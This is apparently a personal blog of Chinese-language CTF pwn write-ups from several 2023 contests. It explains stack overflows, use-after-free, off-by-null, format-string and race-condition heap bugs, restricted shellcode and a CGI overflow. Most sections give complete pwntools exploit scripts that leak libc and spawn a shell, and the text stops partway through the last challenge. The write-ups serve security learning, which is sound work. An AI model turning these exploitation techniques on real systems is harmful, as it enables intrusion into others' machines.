0%

wp

复盘、记录近期一些比赛的 wp。

2023柏鹭杯

摆鹭杯罢了😭。

1. eval

实现了一个计算器,支持 +-*/ 四个功能。在计算功能中发现这里挺危险的,如果 a1[3] 可以控制,岂不是可以修改到返回地址:

image-20231012094537052

于是手动测试了一下,发现输入1+3这些都没关系,输入-5后打印出了很大的数字,盲猜是栈地址或 libc 相关地址。

调试了一下发现单独输入-5改动了 a1[3],泄露出了一块栈地址,利用偏移因此可以泄露栈上相关的 libc 地址。因此又可以修改到返回地址为 one_gadget。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
io = process("./eval")
#io = remote("8.130.23.55", 32199)
libc = ELF("./libc.so.6")

io.sendline(b'+52')
libc_base = int(io.recvline()) - libc.sym["__libc_start_main"] - 243
log.success("lb==>" + hex(libc_base))

og = libc_base + 0xe3b01

#gdb.attach(io, "b *$rebase(0x0F8B)")
#pause()
#io.sendline(b'-6')
io.sendline(b'-7+'+str(og).encode())
#gdb.attach(io, "b *$rebase(0x1054)")
#pause()
#io.sendline()

#io.sendline(b"cat flag")
#io.recvline()

#with open('trick', 'wb') as f:
# a = io.recvline()
# a += io.recvline()
# f.write(a)
io.interactive()

ok 打通了,但是 flag 是个 ELF 文件:

image-20231012095639134 image-20231012095732049

运行了下无事发生,于是就 io.recv 进来看看:

image-20231012095928135

还要 FLAG 环境变量?问了下组委会这是个考点。我真的麻了,chroot 逃逸不会啊🤬,欸,还是太菜了。

其他学到的一些:bin 里给了 cd/cat/ls,但实际上还有一些 linux 内置的命令如 echo、export 等等,可用 enable 查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
anza@anza-virtual-machine:~/Desktop/Work_place/2023bailu$ enable
enable .
enable :
enable [
enable alias
enable bg
enable bind
enable break
enable builtin
enable caller
enable cd
enable command
enable compgen
enable complete
enable compopt
enable continue
enable declare
enable dirs
enable disown
enable echo
enable enable
enable eval
enable exec
enable exit
enable export
enable false
enable fc
enable fg
enable getopts
enable hash
enable help
enable history
enable jobs
enable kill
enable let
enable local
enable logout
enable mapfile
enable popd
enable printf
enable pushd
enable pwd
enable read
enable readarray
enable readonly
enable return
enable set
enable shift
enable shopt
enable source
enable suspend
enable test
enable times
enable trap
enable true
enable type
enable typeset
enable ulimit
enable umask
enable unalias
enable unset
enable wait

赛后看了下别的队的 wp,发现他们用 system(“/bin/sh”) 可以打通,问了一下 onegadget 即 execv 把环境变量干没了,而 system(“/bin/sh”) 会继承父进程的环境变量,绷不住了。

2. heap

没仔细看,限制太多了,不想调试。

2023华为杯

被打爆了,开局连不上网,原来是和 vpn 冲突了,然后登不上账号,结果密码中的IL

签到 pwn 想了会有思路了,打了半个多小时出了。然后看了另一道利用 gadget 编写返回地址的 asm pwn,不知道怎么构造 rdi 使其指向 /bin/sh,遂罢。还有一道 web cgi,很明显的栈溢出漏洞,但不知道是不是编码问题,一直读不进去0xe0 不可见字符,明明感觉离答案很近了,寄。c++ 的 300 分大题就没看😭。

1. easy_ssp

查了下 ssp,发现就是 stack_smashing 泄露,再看了一眼 libc,是2.23 (这个环境未修复 ssp)。

程序如下:

image-20230927203942942

三次栈溢出:第一次覆盖用户变量为 got 表,泄露出 libc,第二次覆盖用户变量为 environ,泄露出 stack,第三次覆盖用户变量为 stack 上的 flag,泄露出加密后的 flag,解密即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

#io = process("./pwn")
io = remote("172.10.0.4", 10085)
elf = ELF("pwn")
libc = ELF("libc-2.23.so")


io.sendafter("What's your name?\n", 'b'*0x10)
#gdb.attach(io, "b (gets)")
#pause()

puts_got = elf.got["puts"]

io.sendlineafter("What do you want to do?", p64(puts_got)*0x50)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
log.success("libc_base===>"+hex(libc_base))

environ = libc_base + libc.sym["environ"]
log.success("environ==>"+hex(environ))

io.sendafter("What's your name?\n", 'a'*0x10)
io.sendlineafter("What do you want to do?", p64(environ)*0x50)

io.recvuntil("*** stack smashing detected ***: ")

stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success("stack==>"+hex(stack))


io.sendafter("What's your name?\n", 'a'*0x10)
io.recvuntil("Your random id is: ")
key = int(io.recv(2), 10)
log.success("key==>"+str(key))
io.sendlineafter("What do you want to do?", p64(stack-376)*0x50)


io.recvuntil("*** stack smashing detected ***: ")

enc = io.recvuntil("terminated")

flag = ""
for i in range(len(enc)):
flag = flag + chr(ord(enc[i])^key)

print(flag)
#gdb.attach(io)

io.interactive()

2. master-of-asm

题目看起来蛮简单的,就是不会做。关键是不知道如何构造 rdi 指向 /bin/sh,也没跟 rdi 相关的 gadget啊:

image-20230927211056177 image-20230927211126505 image-20230927211146444

猜想会不会是执行其他系统调用,等 wp。

隔天又仔细看了一下,我不知道该怎么说,很简单很简单的一道题,只怪我太信任工具了,也算栽了一次坑。(今晚要气得睡不着了)

该文件是有 rwx 段的:

image-20230929201928167

可是!当我用 ubuntu22.04 的 gdb 去 vmmap 查看各段执行权限的时候,我的 rwx 段呢?

image-20230929202157529

我又尝试了用 ubuntu16.04 的 gdb 去 vmmap:

image-20230929202458098

不是,stack 段有 rwx 权限也就算了,怎么 text(.data) 段也有权限?

我仔细一想,我比赛时用 ida 没看到这个 .data 段可执行啊,ida 这个老六坑我!

image-20230929202753435

这不就往 msg 上写个 rdi、rsi、rdx 的 gadget 的事?配合 sys_read 构造 rax 不就完了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.arch = 'amd64'
io = process("./a.out")

pop_rdi_ret = asm('pop rdi; ret')
pop_rdx_ret = asm('pop rdx; ret')
pop_rsi_ret = asm('pop rsi; ret')
print(len(pop_rdi_ret))
print(len(pop_rdx_ret))
print(len(pop_rsi_ret))

gdb.attach(io, "b *0x40100A")
pause()
io.sendafter(b'Hello Pwn', p64(0x40103D)+p64(0x40100A))
pause()
io.send(pop_rdi_ret+pop_rdx_ret+pop_rsi_ret)
pause()
pop_rdi_ret = 0x402000
pop_rdx_ret = 0x402002
pop_rsi_ret = 0x402004
binsh = 0x40200a

payload = p64(pop_rdi_ret) + p64(binsh)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(0x40102D)
payload = payload.ljust(59, b'\x00')

io.send(payload)

io.interactive()

虽然很气,但也有一些疑惑,为什么不同版本 ubuntu 下 gdb 调试内存空间段的权限分配不一致?为什么 ubuntu22 下 gdb 使用 vmmap 看到的段中没有 RWX,而该版本下 checksec 提示该程序是有 RWX 段的(两者检测的方式不一致?)? ida 显示的段权限是否又值得信赖呢?

3. APACHE-CGI-PWN

复现环境搭建

搭建环境是 windows 下的 docker-desktop。

目录下准备了 Dockerfile:

image-20230927215529410

打开该目录终端,输入如下命令,等待镜像拉去:

1
docker build -t cgipwn:v1 .
image-20230927215650152

然后运行镜像,需要映射端口,这个可以在 docker-compose.yml 中找到:

image-20230927215900849 image-20230927215824066

搭建完成。

比赛时十分意难平的一道题。题目录下有两个 .cgi 文件:

image-20230927212047227

打开 check-ok.cgi,发现一个地方是栈溢出,并且该程序还给了后门,我当场就是窃喜:

image-20230927212021297 image-20230927212721896

但要进入漏洞函数就需要生成 ./invitedCODE.txt,但要如何获取到 ./invitedCODE.txt 呢?我们打开网页看一下:

image-20230927213144202

猜测就是下面的邀请码(invitedCODE)了,我们点进去,发现服务器返回 500,访问的正是另一个 getcookie.cgi:

image-20230927213243828

我们看一下 getcookie.cgi 的程序逻辑,其实就是获取环境变量中的 HTTP_COOKIE,COOKIE 正确后就会生成邀请码:

image-20230927213428450 image-20230927213459631

在此之前,有一些需要了解的 cgi 相关的 get_env 参数:

image-20230927213721399

其中 HTTP_COOKIE 就是我们需要添入 COOKIE 的内容:

image-20230927213602220

我们在本地 COOKIE 中加入它,并再次访问后,发现并没有再返回 500 了,因此很有可能之前程序 500 是因为 getenv(“HTTP_COOKIE”); 未找到环境变量发生了错误 :

image-20230927213835245

但我们还需进一步构造 Cookie 才能生成邀请码,这里逆向了一会,拿到了邀请码:

image-20230927214615741

是的,到这里我以为已经十分轻松了,我立马就是进入 check-ok.cgi,想着这下总算可以溢出了吧:

image-20230927214851061

注意请求 check-ok.cgi 是 post 方法,自带 cmd=:

image-20230927224117444

因此计算一下偏移为 228,然后脚本,启动!

image-20230927223940778
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import json
from pwn import *

# cmd=aaaaaaaaaaaa.......
data = {
'cmd': b'a'*228 + p64(0x4032E1)
}

#因为是docker内的脚本,要访问到主机可以通过host.docker.internal
r = requests.post("http://host.docker.internal:12000/check-ok.cgi", data=data)

print(r.text)

结果是程序崩了,且目录下也没生成 flag:

image-20230927225140018

隔了好几天后又来复现,复现的 wp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#  -*- UTF-8 -*- #
"""
@filename:cgipwn.py
@author:Anza
@time:2023-09-27
"""
import requests

if __name__ == '__main__':
#比赛中的错误做法
#data = {
#'cmd': b'a'*228 + b'\xe1\x32\x40\x00\x00\x00\x00\x00'
#}
data = b'a' * (0xe0+8) + b'\xe1\x32\x40\x00\x00\x00\x00\x00'

r = requests.post("http://localhost:12000/check-ok.cgi", data=data)
print(r.text)

!!!!!!重点如下

如果你要 post 传输一个参数如 cmd = b’\xe1’ *70,它会把你的非法字符当作 3 个字符来读!!!!

image-20231016212729469

所以传输时不要管参数 cmd(反正它未对参数进行检测)!!直接传就好了:

image-20231016212951824

算是又补充了一个盲点,欸!

2023羊城杯初赛

参考 wp:星盟

1. risky_login

risc-v 架构程序下的栈溢出,ida 下无法进行反编译,需要用到 ghidra。程序就一个简单的栈溢出和整数溢出,覆盖返回地址为后门函数即可。

image-20230904202324815

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = remote("tcp.cloud.dasctf.com", 24273)

backdoor = 0x12345770

io.sendafter(b"Input ur name:\n", b"/bin/sh\x00")

payload = b'a'*256 + p64(backdoor)
io.sendafter(b"Input ur words", payload)

io.interactive()

2. cookieBox

musl libc pwn,版本是 v1.1.24,存在 UAF 漏洞。

需要 patchelf 为目标 libc.so 才能在有 musl 环境的 ubuntu 上运行:

1
patchelf ./cookieBox --set-interpreter ./libc.so cookieBox

通过堆初始化泄露 Libc,通过 UAF,打 unbin 劫持全局变量区域上的堆指针为 __io_FILE,通过 puts 即可触发链子。更详细的细节可以参考另一篇博客musl pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

io = process('./cookieBox')
libc = ELF("./libc.so")

def add(size, content):
io.sendlineafter(b">>", b'1')
io.sendlineafter(b"Please input the size:\n", str(size).encode())
io.sendafter(b"Please input the Content:\n", content)

def free(idx):
io.sendlineafter(b">>", b'2')
io.sendlineafter(b"Please input the idx:\n", str(idx).encode())

def edit(idx, content):
io.sendlineafter(b">>", b'3')
io.sendlineafter(b"Please input the idx:\n", str(idx).encode())
io.sendafter(b"Please input the content:\n", content)

def show(idx):
io.sendlineafter(b">>", b'4')
io.sendlineafter(b"Please input the idx:\n", str(idx).encode())

def debug():
gdb.attach(io)

add(0x10, b'a'*8) #0
add(0x10, b'b'*8) #1
add(0x100, b'c'*0x10) #2
add(0x10, b'd'*0x8) #3

show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x292e50

log.success("libc_base===>"+hex(libc_base))

stdout = libc_base + libc.sym["__stdout_FILE"]
system = libc_base + libc.sym["system"]
mal = libc_base + 0x292ac0

free(1)
add(0x10, b'e'*0x8) #4(1)
free(1)
free(0)

edit(4, p64(stdout) + p64(0x602060))
add(0x10, b'f'*0x8)

debug()
pause()

payload = b'/bin/sh\x00'
payload += b'X' * 64
payload += p64(system)
edit(2, payload)

io.interactive()

3. shellcode

十分有趣的一道 shellcode 题目,跟着 wp 调试的时候感觉自己想象力还是太匮乏了😵。

刚开始有个输入 2 字节的输入,一开始不知道怎么利用,看了 wp 才知道 syscall 也是二字节\x0f\x05,后面 call 的时候需要返回到这个上面。

image-20230904220843487

进入关键程序,读入一串长度为 17 的 shellcode 后 call 调用,只允许使用OPQRSTUVWXYZ[\]^_ ,且开启了沙箱,只允许 orw。

image-20230904221523314

除了 O 以外可以自单编码(即一个字符即可组成一句指令):

ASCII字符 HEX 汇编指令
P 0x50 push rax
Q 0x51 push rcx
R 0x52 push rdx
S 0x53 push rbx
T 0x54 push rsp
U 0x55 push rbp
V 0x56 push rsi
W 0x57 push rdi
X 0x58 pop rax
Y 0x59 pop rcx
Z 0x5a pop rdx
_ 0x5b pop rdi
^ 0x5c pop rsi
\ 0x5d pop rsp
[ 0x5e pop rbx

在程序执行 call shellcode 的时候,我们需要观察一下寄存器以及栈的环境,来看看有哪些可以利用:

image-20230904223352829

我们看一下 wp 给的 shellcode,各个指令功能如注释所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
shellcode1 = asm(
'''
push rax
pop rsi # 给 RSI 赋 RAX ,其实也是 RIP
push rbx
pop rax # 给 RAX 赋 RBX = 0
push rbx
pop rdi # 给 RDI 赋 RBX = 0
pop rcx
pop rcx
pop rsp # 抬高 RSP 到 SHELLCODE 附近
pop rbp # 给 RBP 赋 0x50f
push rbp
push rbp
push rbp
push rbp
push rbp # 压低栈在 shellcode 的结尾,使得执行完 shellcode 可以直接执行 0x50f(syscall)
pop rdx # 给 RDX 赋 RBP = 0x50f
''').ljust(17, b'Y')

# read(0, RIP, 0x50f)
image-20230904230350331

由此我们可以在栈上写入 orw 的 shellcode,但我们需要观察一下题目的沙箱,可以发现:

  1. 调用 read 函数时其 fd 必须小于等于 2 ,不然直接 kill,但 open 一个文件一般返回的 fd 都是 >= 3。
  2. 调用 write 函数时其 fd 必须大于 2,不然直接 kill。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else gotco 0019
0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL

可以发现题目还给了 dup2 系统调用白名单,dup2 介绍如下:

1
2
dup2 可以复制一个现存的文件描述符:int dup2 (int oldfd, int newfd)。
dup2(3, 0) 即将 flag 文件描述符 3 改成了文件描述符 0,即通过文件描述符 0 即可访问到 flag 文件数据。

因此利用 dup2 可以绕过 read 限制,利用沙箱 fd 和系统调用 fd 数据类型不统一绕过 write 限制,orw 的 shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
shellcode2 = asm(
'''
sub rsp, 0x2000
mov eax, 0x67616c66 ;// flag
push rax

mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open

mov edi, eax
mov esi, 0
mov eax, 33
syscall ;// dup2

mov edi, 0
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read

mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
syscall ;// write
''')

完整 EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

io = process("./shellcode")
context.arch = "amd64"

allowed = ""
for i in range(79, 96):
allowed += chr(i)
log.success("allowed===>"+allowed)

syscall = asm('syscall')
# print(len(syscall)) #2
io.sendafter(b"Input: (ye / no)", syscall)

shellcode1 = asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y')

# print(len(shellcode1)) #17
gdb.attach(io, "b *$rebase(0x14F2)")
pause()
io.sendafter(b"[5] ======== Input Your P0P Code ========\n", shellcode1)

shellcode2 = asm(
'''
sub rsp, 0x2000
mov eax, 0x67616c66 ;// flag
push rax

mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open

mov edi, eax
mov esi, 0
mov eax, 33
syscall ;// dup2

mov edi, 0
mov rsi, rsp
mov rdx, 0x0000000000000100
xor eax, eax
syscall ;// read

mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
syscall ;// write
''')
io.send(b'\x90'*0x12+shellcode2)

io.interactive()

4. heap

菜单题,但是利用线程执行堆操作。

image-20230905194322529

edit 中睡眠了 1 秒,存在条件竞争,导致了 Heap Overflow。

Wiki 上找来的条件竞争介绍,由多进程(线程)共享同一数据区域导致的:

1
条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。

wp 有些看不懂,暂时先不复盘。

可以看到我们在 sleep 前已经拿到了堆块的 index(v2) 和 size(v3),而在 sleep 的一秒中假设 *(s+v2) 指向处被改变成一个小堆块,岂不是可以进行溢出了?

image-20230914162125869

add 只允许申请 0x50~0x68 大小的堆块,并附带一个 0x10 大小的控制头,控制头中存储着堆块指针和堆块大小。

image-20230914194435059

因此假设我们先申请一个 0x68 大小的堆块,在 edit 的 sleep 过程中释放掉该堆块,再申请一个 0x58 大小的堆块,就可以实现 0x10 大小的堆溢出,由此来修改下一个堆块的指针。线程申请的堆块不在 [heap] 下,一般是 libc 附近 mmap 出的一块空间,所以 gdb 调试有些费劲😶(search 调试大法)。

首先泄露 libc 基址:

1
2
3
4
5
6
7
8
add(b'a'*0x62)  #0
edit(0, b'b'*0x60 + b'\xa0\x08')
free(0)
add(b'a'*0x58) #0
add(b'c'*0x58) #1
sleep(2)

show(1)
image-20230914195949604

解释一下泄露过程(注:Free功能会置零heap[i],但不会置零其控制头):

1
2
3
4
5
6
1. 申请堆块0
2. 修改堆块0,卡在sleep,此时heap[0]和heap_size(0x62)已确定
3. 释放堆块0
4. 申请堆块0,拿回了前一个堆块0的控制头,但新开辟了一个空间给新的堆块0(新旧大小不一致)
5. 申请堆块1
6. 等到sleep结束,通过heap[0]修改堆块1控制头,使其指向同一页的main_arena处

同理,第二次修改控制头指针指向 environ 泄露出栈地址,第三次修改返回地址为 onegadget 和 system(“/bin/sh”) 即可。

当然这里还有另一种利用方式:第二次修改控制头指针指向 libc 的 got 表中的 strspn。参考的是这位师傅的2023 羊城杯 Pwn Writeup。至于为什么是 strspn?这是因为我们的程序中调用了 strtok 函数,而 strtok 调用了 libc.got.plt 中的 strspn,且第一个参数正好是我们可控的!难怪说 ELF(“./libc-2.35.so”) 总是显示 libc 的 GOT 表是可以劫持的!

image-20230914225117957 image-20230914225331345

当然这种打法一般在字符串相关函数多的程序才好利用,否则还是老老实实打栈溢出好一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

io = process("./heap")
libc = ELF("./libc-2.35.so")

def add(content):
p = b"1" + b" "
p += content
io.sendlineafter(b'Your chocie:\n\n', p)

def show(idx):
p = b"2" + b" "
p += str(idx).encode()
io.sendlineafter(b'Your chocie:\n\n', p)

def edit(idx, content):
p = b"3" + b" "
p += str(idx).encode() + b":" + content
io.sendlineafter(b'Your chocie:\n\n', p)
# sleep(2)

def free(idx):
p = b"4" + b" "
p += str(idx).encode()
io.sendlineafter(b'Your chocie:\n\n', p)


add(b'a'*0x62) #0
edit(0, b'b'*0x60 + b'\xa0\x08')
free(0)
add(b'a'*0x58) #0
add(b'c'*0x58) #1
sleep(2)

show(1)
offset = 0x7ff94dc19c80 - 0x7ff94da00000
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - offset
log.success("libc_base ==> " + hex(libc_base))

environ = libc_base + libc.sym["environ"]
log.success("env ===> " + hex(environ))
system = libc_base + libc.sym["system"]

io.sendline()
add(b'd'*0x62) #2

add(b'e'*0x68) #3
edit(3, b't'*0x60 + p64(libc_base+0x219008))
log.success("leak ===> " + hex(libc_base+0x219008))
free(3)
add(b'f'*0x58) #3
add(b'g'*0x58) #4

sleep(2)

payload = b'a'*0x50 + p64(system)
edit(4, payload)

sleep(2)
gdb.attach(io)
pause()
io.sendline(b'/bin/sh\x00')

io.interactive()

2023DAS六月赛

1. easynote

libc-2.23 的 uaf 漏洞,直接打模板,因为用 docker 打的,干脆直接用了 glibc-all-in-one 的 libc 和 ld。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.terminal = ['tmux', 'sp', '-h']

io = process("./pwn")
libc = ELF("/ctf/work/libs/2.23-0ubuntu3_amd64/libc-2.23.so")

def add(size, content):
io.sendlineafter("5. exit\n", str(1))
io.sendlineafter("The length of your content --->\n", str(size))
io.sendafter("Content --->\n", content)

def edit(index, size, content):
io.sendlineafter("5. exit\n", str(2))
io.sendlineafter("Index --->\n", str(index))
io.sendlineafter("The length of your content --->\n", str(size))
io.sendafter("Content --->\n", content)

def free(index):
io.sendlineafter("5. exit\n", str(3))
io.sendafter("Index --->\n", str(index))

def show(index):
io.sendlineafter("5. exit\n", str(4))
io.sendafter("Index --->\n", str(index))

add(0x60, 'aaa')
add(0x60, 'bbb')
add(0x60, 'ccc')
add(0x80, 'ddd')
add(0x20, 'eee')

free(3)
show(3)

lb = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10-libc.sym["__malloc_hook"]
one_gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
malloc_hook = lb + libc.sym["__malloc_hook"]
realloc = lb + libc.sym["realloc"]
#free_hook = lb + libc.sym["__free_hook"]
log.success("lb ==> " + hex(lb))
log.success("re ==>" + hex(realloc))
free(0)
free(1)
free(0)
edit(0, 8, p64(malloc_hook-0x23))

add(0x60, 'xxx')
add(0x60, b's'*0xb + p64(lb + one_gadget[1]) +p64(realloc))

#gdb.attach(io)
#pause()

io.interactive()

2. can_you_find_me

libc-2.27 下只有添加和删除堆的操作,存在 off-by-null:

image-20230607164227278

可以修改 prev-size 位和 size 位使用 unlink 造成 tcache poisoning,由于无 show 功能,需要爆破 main_arena+96 为 stdout,打 stdout 泄露 libc,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.terminal = ['tmux', 'sp', '-h']

io = process("./pwn")
libc = ELF("/ctf/work/libs/2.27-3ubuntu1_amd64/libc-2.27.so")

def add(size, data):
io.sendlineafter("choice:", str(1))
io.sendlineafter("Size:", str(size))
io.sendlineafter("Data:", data)

def free(index):
io.sendlineafter("choice:", str(2))
io.sendlineafter("Index:", str(index))

add(0x500, 'a'*0x500) #0
add(0x60, 'b'*0x60) #1
add(0x10, 'c'*0x10) #2
add(0x70, 'd'*0x70) #3
add(0x5f0, 'e'*0x5f0) #4
add(0x20, 'f'*0x20) #5

free(0) #-0
free(3) #-3

add(0x78, b'A'*0x70 + b'\x20\x06') #0
free(4) #-4
free(1) #-1
free(0) #-0

add(0x500, b'/bin/sh\x00' + b'a'*(0x500-8)) #0
add(0x80,b'\x60\xe7') #1
add(0x60,b'a') #3
add(0x68,p64(0xfbad1800)+p64(0)*3+b'\xc8')

libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["_IO_2_1_stdin_"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
log.success("lb ==> " + hex(libc_base))

add(0x80, p64(free_hook))
add(0x78, 'a')
add(0x78, p64(system))
free(0)

gdb.attach(io)
pause()

io.interactive()

详细流程如下:

image-20230607170831057 image-20230607171022315 image-20230607172442447 image-20230607180451501 image-20230607181237126

3. candy_shop

检查一下保护,发现 got 表可写:

image-20230608160942294

程序中存在两次 printf 格式化漏洞和 一次 bss 段上的越界写,思路就是泄露出 libc,然后越界写 printf 的 got 表为 system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

io = process("./pwn")
libc = ELF("/ctf/work/libs/2.35-0ubuntu3.1_amd64/libc.so.6")

io.sendlineafter("option: ", 'g')
#gdb.attach(io, "b *$rebase(0x1695)")
#pause()
io.sendlineafter("Give me your name: \n", "%31$p")
io.recvuntil("you have received a gift:0x")
lb = int(io.recv(12), 16)-128-libc.sym["__libc_start_main"]
log.success("lb ==> "+hex(lb))

system = lb + libc.sym["system"]

io.sendlineafter("option: ", 'b')
io.sendlineafter("Which one you want to bye: ", 't')
#gdb.attach(io, "b *$rebase(0x0156D)")
#pause()
io.sendlineafter(": ", "-10")
io.sendlineafter(": ", b"a"*6 + p64(system))
io.sendline("g")
io.sendline("/bin/sh")

io.interactive()

4. A_dream

含有子进程的栈溢出(迁移)。值得注意的点有:

  1. 子进程的栈使用的是mmap出的一片空间,与 libc 基址有着固定的偏移。
  2. 主进程开启了沙盒(只允许 readwrite,无法利用),但不影响子进程,因此在子进程进行 system(‘/bin/sh’) 即可。
  3. gdb 调试子进程方法,使用thread x切换进程,info threads查看进程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.terminal = ['tmux', 'sp', '-h']

io = process("./A_dream")
elf = ELF("A_dream")
libc = ELF("/ctf/work/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")

bss = 0x404080 + 0x100
magic_read = 0x4013AE

payload = b'a'*64 + p64(bss + 0x40) + p64(magic_read)
pop_rdi_ret = 0x0000000000401483
pop_rsi_r15_ret = 0x0000000000401481
leave_ret = 0x000000000040136c

io.send(payload)

sleep(0.1)
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) + p64(elf.plt["read"]) + p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt["sleep"]) + p64(0) + p64(bss-8) + p64(leave_ret)
io.send(payload)

sleep(0.1)
io.send(p64(magic_read))

#sleep(0.1)
#gdb.attach(io)
#pause()
payload = b'a'*0x30 + p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(magic_read)
io.send(payload)

lb = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
log.success("lb ==> " + hex(lb))

system = lb + libc.sym["system"]
binsh = lb + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a
pop_rdi_rbp_ret = lb + 0x00000000000248f2
thread_stack_rop_addr = lb - 0x4150
gdb.attach(io)
pause()
payload = p64(ret) + p64(pop_rdi_rbp_ret) + p64(binsh) + p64(0) + p64(system)
payload = payload.ljust(0x40, b'\x00') + p64(thread_stack_rop_addr-8) + p64(leave_ret)
io.send(payload)

io.interactive()

5. Approoooooooaching

虚拟机题目,功能有申请堆块、编辑堆块、翻译堆块、执行堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
